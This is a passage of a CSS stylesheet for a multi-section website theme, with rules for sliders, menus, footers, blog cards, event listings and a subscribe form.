.brand-portfolio__link { color: #fff; font-size: 20px; font-weight: 400; opacity: 0.6; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .brand-portfolio__link:hover { opacity: 1; color: #fff; } @media (min-width: 992px) { .brand-portfolio__link { font-size: 28px; } } .brand-portfolio__link span { margin-left: 10px; position: relative; top: 2px; } .brand-portfolio__image img { opacity: 0.6; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .brand-portfolio__item:hover .brand-portfolio__image img { opacity: 1; } .brand-portfolio__item:nth-child(2) { background-color: #8b34e4; } .brand-portfolio__item:nth-child(2) .brand-portfolio__item__bg { background-color: #8b34e4; } .brand-portfolio__item:nth-child(3) { background-color: #3abd90; } .brand-portfolio__item:nth-child(3) .brand-portfolio__item__bg { background-color: #3abd90; } .brand-portfolio__item:nth-child(4) { background-color: #e7842b; } .brand-portfolio__item:nth-child(4) .brand-portfolio__item__bg { background-color: #e7842b; } .brand-portfolio__item:nth-child(5) { background-color: #cdced5; } .brand-portfolio__item:nth-child(5) .brand-portfolio__item__bg { background-color: #cdced5; } /*-------------------------------------------------------------- # Events Styles --------------------------------------------------------------*/ .events-one { padding-top: 80px; padding-bottom: 70px; } @media (min-width: 992px) { .events-one { padding-top: 120px; padding-bottom: 110px; } } .events-one .row { --bs-gutter-y: 30px; } .events-one__image { overflow: hidden; border-top-left-radius: 8px; border-top-right-radius: 8px; position: relative; } .events-one__date { position: absolute; top: 20px; right: 20px; background-color: var(--thm-base); width: 60px; height: 60px; font-family: var(--thm-font); text-align: center; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; color: #fff; font-weight: 400; text-transform: uppercase; font-size: 20px; border-radius: 8px; padding: 0 11px; line-height: 1; padding-top: 4px; z-index: 10; } .events-one__image img { width: 100%; -webkit-filter: grayscale(100%); filter: grayscale(100%); -webkit-transition: 500ms ease; transition: 500ms ease; } .events-one__item:hover .events-one__image img { -webkit-filter: grayscale(0); filter: grayscale(0); } .events-one__content { border: 1px solid transparent; border-top: 0; border-bottom-left-radius: 8px; border-bottom-right-radius: 8px; padding-left: 40px; padding-right: 40px; -webkit-box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); box-shadow: 0px 10px 30px 0px rgba(0, 0, 0, 0.04); padding-top: 33px; padding-bottom: 30px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .events-one__item:hover .events-one__content { border-color: #e9ebee; } .events-one__title { margin: 0; font-size: 34px; color: var(--thm-black); margin-bottom: 16px; text-transform: uppercase; } .events-one__title a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .events-one__title a:hover { color: var(--thm-base); } .events-one__meta li { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; font-size: 16px; color: var(--thm-text); } .events-one__meta li i { color: var(--thm-base); margin-right: 10px; width: 18px; } .events-one .more-box { margin-top: 60px; } .events-details { padding: 80px 0 80px; } @media (min-width: 992px) { .events-details { padding: 120px 0; } } .events-details .events-one__image { border-radius: 8px; } .events-details__content .theme-btn { display: -webkit-inline-box; display: -ms-inline-flexbox; display: inline-flex; margin-top: 50px; } .events-details .events-one__title { position: relative; top: -10px; } .events-details__content { margin-top: 40px; } .events-details__content p { margin: 0; } .events-details__content p + p { margin-top: 45px; } @media (min-width: 992px) { .events-details .events-one__title { font-size: 50px; } } .events-details__sidebar { margin-top: 40px; } .events-details__sidebar .row { --bs-gutter-y: 30px; } .events-details__widget-info { background-color: #f4f5f8; padding-left: 50px; padding-right: 50px; padding-top: 42px; padding-bottom: 47px; border-radius: 8px; } .events-details__widget-info ul { margin: 0; } .events-details__widget-info li { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: start; -ms-flex-align: start; align-items: flex-start; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; } .events-details__widget-info li a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .events-details__widget-info li a:hover { color: var(--thm-black); text-shadow: 0 0 1px currentColor; } .events-details__widget-info li + li { margin-top: 14px; } .events-details__widget-info li strong { text-transform: uppercase; color: var(--thm-black); font-weight: 400; font-family: var(--thm-font); font-size: 22px; } .events-details__widget-info li span { text-align: right; font-size: 14px; color: var(--thm-text); line-height: 24px; display: block; position: relative; top: 4px; } .events-details__widget-map { overflow: hidden; border-radius: 8px; } .events-details__widget-map iframe { height: 386px; } /* update 01-10-2021 */ /* common css */ .sec-title-six { margin-bottom: 54px; } .sec-title-six__text { color: var(--thm-base); font-size: 16px; margin: 0; line-height: 1; margin-bottom: 26px; } .sec-title-six__text span { padding-bottom: 6px; border-bottom: 2px solid currentColor; } .sec-title-six__title { font-size: 40px; font-weight: bold; color: var(--thm-black); margin: 0; line-height: 1; } @media (min-width: 992px) { .sec-title-six__title { font-size: 50px; } } .sec-title-seven { margin-bottom: 50px; } .sec-title-seven__title { margin: 0; color: var(--thm-black); font-size: 40px; line-height: 1.2em; letter-spacing: -0.04em; } @media (min-width: 1200px) { .sec-title-seven__title { font-size: 50px; } } .sec-title-seven__title span { font-weight: bold; } .sec-title-eight { margin-bottom: 47px; } .sec-title-eight__text { margin: 0; font-size: 16px; color: var(--thm-text); line-height: 1; margin-bottom: 10px; } @media (min-width: 992px) { .sec-title-eight__text { font-size: 18px; } } .sec-title-eight__title { margin: 0; font-size: 40px; color: var(--thm-black); font-weight: bold; line-height: 1.2em; } @media (min-width: 992px) { .sec-title-eight__title { font-size: 50px; } } .thm-btn__six { background-color: var(--thm-base); color: #fff; font-size: 16px; font-weight: bold; display: -webkit-inline-box; display: -ms-inline-flexbox; display: inline-flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; text-align: center; padding: 17px 59px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .thm-btn__six:hover { background-color: var(--thm-black); color: #fff; } .thm-btn__seven { border-radius: 5px; display: -webkit-inline-box; display: -ms-inline-flexbox; display: inline-flex; font-size: 12px; font-weight: bold; color: #fff; letter-spacing: .1em; background-image: -webkit-gradient(linear, left top, right top, from(#ff9a61), color-stop(51%, #ff4b82), to(#ff9a61)); background-image: linear-gradient(to right, #ff9a61 0%, #ff4b82 51%, #ff9a61 100%); background-size: 200% auto; -webkit-transition: .5s; transition: .5s; text-transform: uppercase; padding: 11px 49px; } .thm-btn__seven:hover { color: #fff; background-position: 100%; } .thm-btn__eight { display: -webkit-inline-box; display: -ms-inline-flexbox; display: inline-flex; background-color: var(--thm-black); color: #fff; font-size: 12px; font-weight: bold; text-transform: uppercase; letter-spacing: .1em; -webkit-transition: all 500ms ease; transition: all 500ms ease; padding: 14.5px 50px; } .thm-btn__eight:hover { background-color: var(--thm-base); color: var(--thm-black); } /* header home 6 corporate agency */ .preloader .icon { background-size: 65px auto; } /* header six */ @media (min-width: 1200px) { .header-six .auto-container { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } } .header-six__logo { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; padding-top: 15px; padding-bottom: 15px; } @media (min-width: 1200px) { .header-six__logo { padding-top: 29.5px; padding-bottom: 29.5px; } } .header-six .mobile-nav-toggler { font-size: 20px; color: var(--thm-black); cursor: pointer; } @media (min-width: 1200px) { .header-six .mobile-nav-toggler { display: none; } } .header-six__info, .header-six__social { display: none; } @media (min-width: 1200px) { .header-six__info, .header-six__social { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } } .header-six__info { margin-left: auto; } .header-six__info__link { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; color: var(--thm-black); font-weight: 700; border-left: 1px solid #e2e7ea; margin-left: 40px; padding-left: 40px; -webkit-transition: all 500ms ease; transition: all 500ms ease; padding-top: 1.5px; padding-bottom: 1.5px; } .header-six__info__link:first-of-type { border-left: 0; margin-left: 0; padding-left: 0; } .header-six__info__link:hover { color: var(--thm-base); } .header-six__info__link:hover > i { color: var(--thm-black); } .header-six__info__link > i { font-size: 16px; color: var(--thm-base); -webkit-transition: all 500ms ease; transition: all 500ms ease; margin-right: 10px; } .header-six__social { margin-left: 50px; } .header-six__social a { color: var(--thm-text); font-size: 16px; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .header-six__social a + a { margin-left: 25px; } .header-six__social a:hover { color: var(--thm-base); } /* slider six */ .slider-six { position: relative; } .slider-six__curv svg { width: 100%; position: absolute; bottom: -1px; left: 0; -webkit-transform: rotate(-180deg); transform: rotate(-180deg); z-index: 10; color: #fff; } .slider-six .swiper-slide { position: relative; background-color: var(--thm-black); } .slider-six .image-layer { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background-color: var(--thm-black); background-repeat: no-repeat; background-size: cover; background-position: center center; opacity: .6; -webkit-transform: scale(1); transform: scale(1); visibility: hidden; -webkit-transition: visibility 0ms ease, -webkit-transform 7000ms ease; transition: visibility 0ms ease, -webkit-transform 7000ms ease; transition: visibility 0ms ease, transform 7000ms ease; transition: visibility 0ms ease, transform 7000ms ease, -webkit-transform 7000ms ease; } .slider-six .swiper-slide-active .image-layer { visibility: visible; -webkit-transform: scale(1.3); transform: scale(1.3); } .slider-six__content { position: relative; text-align: center; padding-top: 100px; padding-bottom: 100px; } @media (min-width: 1200px) { .slider-six__content { padding-top: 240px; padding-bottom: 268px; } } .slider-six__title { font-size: 45px; letter-spacing: -0.02em; color: #ffffff; line-height: 1; font-weight: bold; margin-bottom: 30px; -webkit-transform-origin: bottom center; transform-origin: bottom center; opacity: 0; -webkit-transform: translateY(90px); transform: translateY(90px); -webkit-transition: opacity 1500ms ease, -webkit-transform 1500ms ease; transition: opacity 1500ms ease, -webkit-transform 1500ms ease; transition: transform 1500ms ease, opacity 1500ms ease; transition: transform 1500ms ease, opacity 1500ms ease, -webkit-transform 1500ms ease; } @media (min-width: 992px) { .slider-six__title { font-size: 60px; } } @media (min-width: 1200px) { .slider-six__title { font-size: 90px; margin-bottom: 50px; } } .slider-six__text { margin: 0; color: #ffffff; font-size: 18px; font-weight: bold; margin-bottom: 15px; -webkit-transform-origin: top center; transform-origin: top center; -webkit-transform: scaleY(0) translateY(-50px); transform: scaleY(0) translateY(-50px); -webkit-transition: opacity 1500ms ease, -webkit-transform 1500ms ease; transition: opacity 1500ms ease, -webkit-transform 1500ms ease; transition: transform 1500ms ease, opacity 1500ms ease; transition: transform 1500ms ease, opacity 1500ms ease, -webkit-transform 1500ms ease; opacity: 0; } @media (min-width: 992px) { .slider-six__text { font-size: 20px; } } @media (min-width: 1200px) { .slider-six__text { margin-bottom: 25px; } } .slider-six__text span { padding-bottom: 5px; border-bottom: 1px solid currentColor; } .slider-six__btn { -webkit-transform: scaleY(0) translateY(-200px); transform: scaleY(0) translateY(-200px); -webkit-transform-origin: top center; transform-origin: top center; opacity: 0; -webkit-transition: background 500ms ease, color 500ms ease, opacity 2000ms ease, -webkit-transform 2000ms ease; transition: background 500ms ease, color 500ms ease, opacity 2000ms ease, -webkit-transform 2000ms ease; transition: transform 2000ms ease, background 500ms ease, color 500ms ease, opacity 2000ms ease; transition: transform 2000ms ease, background 500ms ease, color 500ms ease, opacity 2000ms ease, -webkit-transform 2000ms ease; } .slider-six__btn:hover { background-color: #fff; color: var(--thm-black); } .swiper-slide-active .slider-six__text, .swiper-slide-active .slider-six__btn { -webkit-transform: scaleY(1) translateY(0); transform: scaleY(1) translateY(0); opacity: 1; } .swiper-slide-active .slider-six__title { -webkit-transform: translateY(0); transform: translateY(0); opacity: 1; } .slider-six .main-slider__nav { display: none; } @media (min-width: 992px) { .slider-six .main-slider__nav { display: block; } } .slider-six .main-slider__nav [class*=swiper-button-] { width: 40px; height: 120px; position: absolute; top: 50%; -webkit-transform: translateY(-50%); transform: translateY(-50%); background-color: #fff; color: var(--thm-black); display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; opacity: 0.3; -webkit-transition: all 500ms ease; transition: all 500ms ease; font-size: 22px; } .slider-six .main-slider__nav [class*=swiper-button-]:hover { opacity: 1; } .slider-six .main-slider__nav [class*=swiper-button-]::after { display: none; } @media (min-width: 1200px) { .slider-six .main-slider__nav [class*=swiper-button-] { width: 45px; height: 173px; } } .slider-six .main-slider__nav .swiper-button-prev { left: 0; } .slider-six .main-slider__nav .swiper-button-next { right: 0; } /* main menu six */ .mainmenu-six { position: relative; z-index: 99; display: none; -webkit-transition: all 500ms ease; transition: all 500ms ease; } @media (min-width: 1200px) { .mainmenu-six { display: block; } } .mainmenu-six__inner { border-bottom: 1px solid rgba(255, 255, 255, 0.1); display: -webkit-box; display: -ms-flexbox; display: flex; margin-bottom: -69px; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .mainmenu-six.fixed-header { position: fixed; top: 0; left: 0; width: 100%; background-color: var(--thm-black); min-height: 68px; } .mainmenu-six.fixed-header .mainmenu-six__inner { border-bottom: 0; } .mainmenu-six .nav-outer { position: relative; float: none; text-align: left; } .mainmenu-six__right { margin-left: auto; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .mainmenu-six__btn { padding: 17px 49px; } .mainmenu-six__btn:hover { background-color: #fff; color: var(--thm-black); } .mainmenu-six__search { border-left: 1px solid rgba(255, 255, 255, 0.1); padding-left: 30px; margin-right: 30px; } .mainmenu-six__search button { color: #fff; font-size: 24px; background-color: transparent; } .mainmenu-six .main-menu .navigation > li { margin: 0; padding-top: 0; padding-bottom: 0; } .mainmenu-six .main-menu .navigation > li + li { margin-left: 38px; } .mainmenu-six .main-menu .navigation > li > a { color: #fff; font-size: 15px; text-transform: capitalize; font-weight: bold; } .mainmenu-six .main-menu .navigation > li > ul > li > a { font-size: 15px; font-weight: bold; color: var(--thm-black); text-transform: capitalize; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .mainmenu-six .main-menu .navigation > li > ul > li > a:hover { color: var(--thm-base); } .mainmenu-six .main-menu .navigation > li > ul { border-radius: 0; } /* Footer six */ .footer-six { background-color: var(--thm-black); padding-top: 100px; padding-bottom: 70px; } @media (min-width: 992px) { .footer-six { padding-bottom: 100px; } } .footer-six__title { margin: 0; font-size: 18px; font-weight: bold; color: #fff; margin-bottom: 40px; } .footer-six__widget { margin-bottom: 30px; } @media (min-width: 992px) { .footer-six__widget { margin-bottom: 0; } } .footer-six__about__text { margin: 0; font-size: 24px; color: #fff; line-height: 1.2em; margin-top: 35px; margin-bottom: 35px; } .footer-six__social { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } .footer-six__social a { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; width: 37px; height: 37px; color: #91aab9; font-size: 14px; background-color: #172f3e; border-radius: 50%; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .footer-six__social a:hover { background-color: #fff; color: var(--thm-base); } .footer-six__social a + a { margin-left: 10px; } .footer-six__links__list { display: -webkit-box; display: -ms-flexbox; display: flex; } .footer-six__links__list__item { margin-top: -13px; } .footer-six__links__list__item:first-child { margin-right: 65px; } .footer-six__links__list__item li a { font-weight: bold; font-size: 14px; color: #91aab9; -webkit-transition: all 500ms ease; transition: all 500ms ease; position: relative; } .footer-six__links__list__item li a::after { content: ''; width: 100%; height: 1px; background-color: #fff; position: absolute; bottom: 0; left: 0; -webkit-transform-origin: left center; transform-origin: left center; -webkit-transition: -webkit-transform 500ms ease; transition: -webkit-transform 500ms ease; transition: transform 500ms ease; transition: transform 500ms ease, -webkit-transform 500ms ease; -webkit-transform: scaleX(0); transform: scaleX(0); } .footer-six__links__list__item li a:hover { color: #fff; } .footer-six__links__list__item li a:hover::after { -webkit-transform-origin: right center; transform-origin: right center; -webkit-transform: scaleX(1); transform: scaleX(1); } .footer-six__copyright { background-color: #172f3e; text-align: center; padding-top: 35px; padding-bottom: 35px; } .footer-six__copyright p { margin: 0; color: #91aab9; font-size: 14px; font-weight: bold; } .footer-six__newsletter__form { margin-top: -16px; position: relative; } .footer-six__newsletter__form button[type=submit] { position: absolute; background-color: rgba(255, 255, 255, 0); font-size: 18px; color: #91aab9; position: absolute; top: 0; right: 0; } .footer-six__newsletter__form input[type=text], .footer-six__newsletter__form input[type=email], .footer-six__newsletter__form input[type=phone] { display: block; width: 100%; border-bottom: 5px solid rgba(255, 255, 255, 0.1); background-color: rgba(0, 0, 0, 0); color: #91aab9; padding-bottom: 10px; } .footer-six__newsletter__form ::-webkit-input-placeholder { opacity: 1; color: inherit; } .footer-six__newsletter__form :-ms-input-placeholder { opacity: 1; color: inherit; } .footer-six__newsletter__form ::-ms-input-placeholder { opacity: 1; color: inherit; } .footer-six__newsletter__form ::placeholder { opacity: 1; color: inherit; } .footer-six__newsletter__form p { margin: 0; color: #91aab9; font-size: 16px; font-weight: 400; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-top: 20px; } .footer-six__newsletter__form p a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; margin-left: 5px; } .footer-six__newsletter__form p a:hover { color: #fff; } .footer-six__newsletter__form p::before { content: '\f00c'; font-family: "Font Awesome 5 Free"; font-weight: 900; border: 1px solid rgba(255, 255, 255, 0.1); width: 16px; height: 16px; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; border-radius: 50%; color: #fff; font-size: 10px; margin-right: 10px; } /* video six */ .video-six { background-color: var(--thm-base); position: relative; } .video-six__parallax { position: absolute; top: 0; left: 0; right: 0; bottom: 0; opacity: 0.1; } .video-six__parallax div { background-color: var(--thm-base); } .video-six__parallax img { mix-blend-mode: luminosity; } .video-six__inner { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; text-align: center; position: relative; padding-top: 90px; padding-bottom: 100px; } @media (min-width: 1200px) { .video-six__inner { -webkit-box-orient: horizontal; -webkit-box-direction: normal; -ms-flex-direction: row; flex-direction: row; -webkit-box-pack: justify; -ms-flex-pack: justify; justify-content: space-between; text-align: left; padding-top: 110px; padding-bottom: 120px; } } .video-six__title { margin: 0; color: #fff; font-size: 40px; font-weight: bold; } @media (min-width: 1200px) { .video-six__title { font-size: 50px; max-width: 651px; } } .video-six__video { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-top: 30px; } @media (min-width: 1200px) { .video-six__video { margin-top: 0; } } .video-six__video__text { font-family: 'reeyregular'; font-size: 30px; color: #ffffff; margin: 0; line-height: 1; } .video-six__btn { width: 111px; height: 111px; background-color: var(--thm-black); display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; text-align: center; color: #fff; font-size: 24px; border-radius: 50%; margin-left: 30px; -webkit-transition: all 500ms ease; transition: all 500ms ease; position: relative; } .video-six__btn:hover { background-color: #fff; color: var(--thm-base); } .video-six__btn .ripple, .video-six__btn .ripple:before, .video-six__btn .ripple:after { position: absolute; top: 50%; left: 50%; width: 100%; height: 100%; border-radius: 50%; -ms-border-radius: 50%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); -ms-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -o-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -webkit-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -webkit-animation: ripple 3s infinite; animation: ripple 3s infinite; } .video-six__btn .ripple:before { -webkit-animation-delay: 0.9s; animation-delay: 0.9s; content: ""; position: absolute; } .video-six__btn .ripple:after { -webkit-animation-delay: 0.6s; animation-delay: 0.6s; content: ""; position: absolute; } /* map six */ .map-six iframe { height: 553px; } /* blog six */ .blog-six { padding-bottom: 70px; padding-top: 100px; } @media (min-width: 1200px) { .blog-six { padding-bottom: 90px; padding-top: 120px; } } .blog-six__item { position: relative; margin-bottom: 30px; } .blog-six__image { background-color: var(--thm-black); } .blog-six__image img { width: 100%; opacity: 1; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .blog-six__item:hover .blog-six__image img { opacity: 0.8; } .blog-six__content { padding-left: 40px; padding-right: 40px; background-color: #fff; -webkit-box-shadow: 0px 20px 60px 0px rgba(23, 39, 54, 0.07); box-shadow: 0px 20px 60px 0px rgba(23, 39, 54, 0.07); padding-top: 20px; padding-bottom: 44px; position: relative; } .blog-six__content::after { content: ''; width: 100%; height: 2px; background-color: var(--thm-base); position: absolute; bottom: 0; left: 0; -webkit-transform-origin: right center; transform-origin: right center; -webkit-transform: scaleX(0); transform: scaleX(0); -webkit-transition: -webkit-transform 500ms ease; transition: -webkit-transform 500ms ease; transition: transform 500ms ease; transition: transform 500ms ease, -webkit-transform 500ms ease; } .blog-six__item:hover .blog-six__content::after { -webkit-transform: scaleX(1); transform: scaleX(1); -webkit-transform-origin: left center; transform-origin: left center; } .blog-six__text { font-size: 18px; line-height: 34px; color: var(--thm-text); margin: 0; margin-top: 27px; } .blog-six__title { margin: 0; color: var(--thm-black); font-size: 24px; line-height: 34px; font-weight: bold; } .blog-six__title a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .blog-six__title a:hover { color: var(--thm-base); } .blog-six__meta { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-bottom: 6px; } .blog-six__meta a { font-size: 14px; font-weight: bold; color: var(--thm-text); display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .blog-six__meta a + a { margin-left: 10px; } .blog-six__meta a i { font-size: 14px; -webkit-transition: all 500ms ease; transition: all 500ms ease; color: var(--thm-base); margin-right: 4px; } .blog-six__meta a:hover { color: var(--thm-base); } .blog-six__meta a:hover i { color: var(--thm-black); } /* sponsor six */ .sponsor-six { border-bottom: 1px solid #e2e7ea; padding-bottom: 120px; padding-top: 120px; } .sponsor-six img { opacity: 0.2; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .sponsor-six img:hover { opacity: 0.6; } /* about six */ .about-six { background-color: #edf1f3; position: relative; padding-top: 100px; padding-bottom: 100px; } @media (min-width: 992px) { .about-six { padding-bottom: 150px; padding-top: 120px; } } @media (min-width: 1200px) { .about-six { padding-bottom: 235px; } } .about-six__curv svg { width: 100%; position: absolute; bottom: 0; left: 0; -webkit-transform: rotate(-180deg); transform: rotate(-180deg); z-index: 10; color: #fff; } @media (min-width: 1200px) { .about-six__content { margin-right: -30px; } } .about-six__text { font-size: 18px; line-height: 2em; } .about-six__image { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-pack: start; -ms-flex-pack: start; justify-content: flex-start; margin-top: 30px; margin-bottom: 30px; } @media (min-width: 1200px) { .about-six__image { margin: 0; -webkit-box-pack: end; -ms-flex-pack: end; justify-content: flex-end; } } .about-six__box { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; background-color: #fff; padding: 40px; -webkit-transition: all 500ms ease; transition: all 500ms ease; margin-top: 30px; } @media (min-width: 992px) { .about-six__box { padding: 30px; } } @media (min-width: 1200px) { .about-six__box { padding: 40px; margin-top: 60px; } } .about-six__box:hover { background-color: var(--thm-base); } .about-six__box__title { color: var(--thm-black); margin: 0; font-size: 20px; line-height: 1.5em; font-weight: bold; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .about-six__box:hover .about-six__box__title { color: #fff; } .about-six__box__icon { width: 63px; height: 63px; border-radius: 50%; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; background-color: var(--thm-base); text-align: center; -ms-flex-negative: 0; flex-shrink: 0; margin-right: 20px; font-size: 32px; color: #fff; -webkit-transition: all 500ms ease; transition: all 500ms ease; } .about-six__box:hover .about-six__box__icon { background-color: #fff; color: var(--thm-base); } /* about seven */ .about-seven { padding-top: 120px; padding-bottom: 120px; } .about-seven__images { display: inline-block; position: relative; margin-bottom: 60px; } @media (min-width: 992px) { .about-seven__images { margin-bottom: 0; } } .about-seven__images::before { content: ''; width: 88%; height: 88%; background-color: var(--thm-base); border-radius: 50%; position: absolute; top: 0; left: -40px; } .about-seven__images img { border-radius: 50%; max-width: 100%; position: relative; } .about-seven__images img:nth-of-type(2) { position: absolute; bottom: -60px; right: 50px; } .about-seven .sec-title-six { margin-bottom: 0; } .about-seven__summery { font-size: 18px; line-height: 1.88em; color: var(--thm-text); margin: 0; margin-top: 45px; margin-bottom: 27px; } .about-seven__title { font-size: 24px; line-height: 1.2em; margin: 0; color: var(--thm-base); font-weight: 700; margin-bottom: 40px; } .about-seven__list { margin: 0; margin-bottom: 54px; } .about-seven__list li { position: relative; font-size: 18px; font-weight: bold; color: var(--thm-black); padding-left: 35px; } .about-seven__list li > i { font-size: 20px; color: var(--thm-base); position: absolute; top: 10px; left: 0; } .about-seven__list li + li { margin-top: 4px; } /* Funfact six */ .funfact-six { padding-top: 100px; padding-bottom: 70px; background-color: var(--thm-black); } @media (min-width: 992px) { .funfact-six { padding-top: 120px; padding-bottom: 90px; } } .funfact-six__item { margin-bottom: 30px; text-align: center; position: relative; } .funfact-six__item::after { display: none; content: ''; height: 158px; width: 1px; background-color: #fff; opacity: 0.1; position: absolute; top: 50%; right: 0; -webkit-transform: translateY(-50%); transform: translateY(-50%); } @media (min-width: 768px) { .funfact-six__item::after { display: block; } } .funfact-six [class*=col-]:nth-of-type(2n) .funfact-six__item::after { display: none; } @media (min-width: 992px) { .funfact-six [class*=col-]:nth-of-type(2n) .funfact-six__item::after { display: block; } } @media (min-width: 1200px) { .funfact-six [class*=col-]:last-child .funfact-six__item::after { display: none; } } .funfact-six__icon { font-size: 64px; color: #fff; line-height: 1; } .funfact-six__count { margin: 0; color: #fff; font-size: 40px; line-height: 1; margin-top: 25px; margin-bottom: 12px; } .funfact-six__text { margin: 0; font-size: 14px; font-weight: bold; color: #91aab9; line-height: 1; } /* Project six */ .project-six { padding-top: 100px; } @media (min-width: 1200px) { .project-six { padding-top: 120px; } } .project-six .auto-container { max-width: 100%; padding-left: 2px; padding-right: 2px; padding-bottom: 2px; } @media (min-width: 1200px) { .project-six .auto-container { padding-left: 0; padding-right: 0; } } .project-six__item img { width: 100%; } .project-six__content { margin: 40px; position: absolute; top: 0; left: 0; right: 0; bottom: 0; display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; -webkit-box-pack: end; -ms-flex-pack: end; justify-content: flex-end; padding: 50px; -webkit-transform: translateY(-50%) translateZ(500px); transform: translateY(-50%) translateZ(500px); opacity: 0; visibility: hidden; -webkit-transition: opacity 500ms ease, visibility 500ms ease, -webkit-transform 500ms ease; transition: opacity 500ms ease, visibility 500ms ease, -webkit-transform 500ms ease; transition: transform 500ms ease, opacity 500ms ease, visibility 500ms ease; transition: transform 500ms ease, opacity 500ms ease, visibility 500ms ease, -webkit-transform 500ms ease; -webkit-transform-origin: bottom center; transform-origin: bottom center; } .project-six__content::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-color: var(--thm-base); opacity: 0.9; } .project-six__item:hover .project-six__content { opacity: 1; visibility: visible; -webkit-transform-origin: top center; transform-origin: top center; -webkit-transform: translateY(0) translateZ(0); transform: translateY(0) translateZ(0); } .project-six__category { position: relative; font-size: 15px; font-weight: bold; color: #fff; margin: 0; line-height: 1; } .project-six__title { margin: 0; line-height: 1; font-size: 28px; font-weight: bold; color: #fff; margin-top: 15px; } .project-six__title a { color: inherit; -webkit-transition: all 500ms ease; transition: all 500ms ease; } /* subscribe one */ .subscribe-one { padding-top: 90px; padding-bottom: 90px; border-bottom: 1px solid #e2e7ea; } @media (min-width: 1200px) { .subscribe-one { padding-top: 110px; padding-bottom: 110px; } } .subscribe-one__title { margin: 0; color: var(--thm-black); font-size: 40px; line-height: 1.2em; font-weight: bold; margin-bottom: 40px; } @media (min-width: 1200px) { .subscribe-one__title { font-size: 50px; margin-bottom: 0px; } } .subscribe-one__validate { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-top: 21px; } .subscribe-one__validate::before { content: ''; width: 20px; height: 20px; border: 2px solid #e2e7ea; display: block; margin-right: 10px; } @media (min-width: 1200px) { .subscribe-one__validate { margin-left: 70px; } } .subscribe-one__form { position: relative; } @media (min-width: 1200px) { .subscribe-one__form { padding-left: 70px; } } .subscribe-one__form input[type=text], .subscribe-one__form input[type=email], .subscribe-one__form input[type=phone] { width: 100%; font-size: 16px; color: var(--thm-text); background-color: rgba(0, 0, 0, 0); border-bottom: 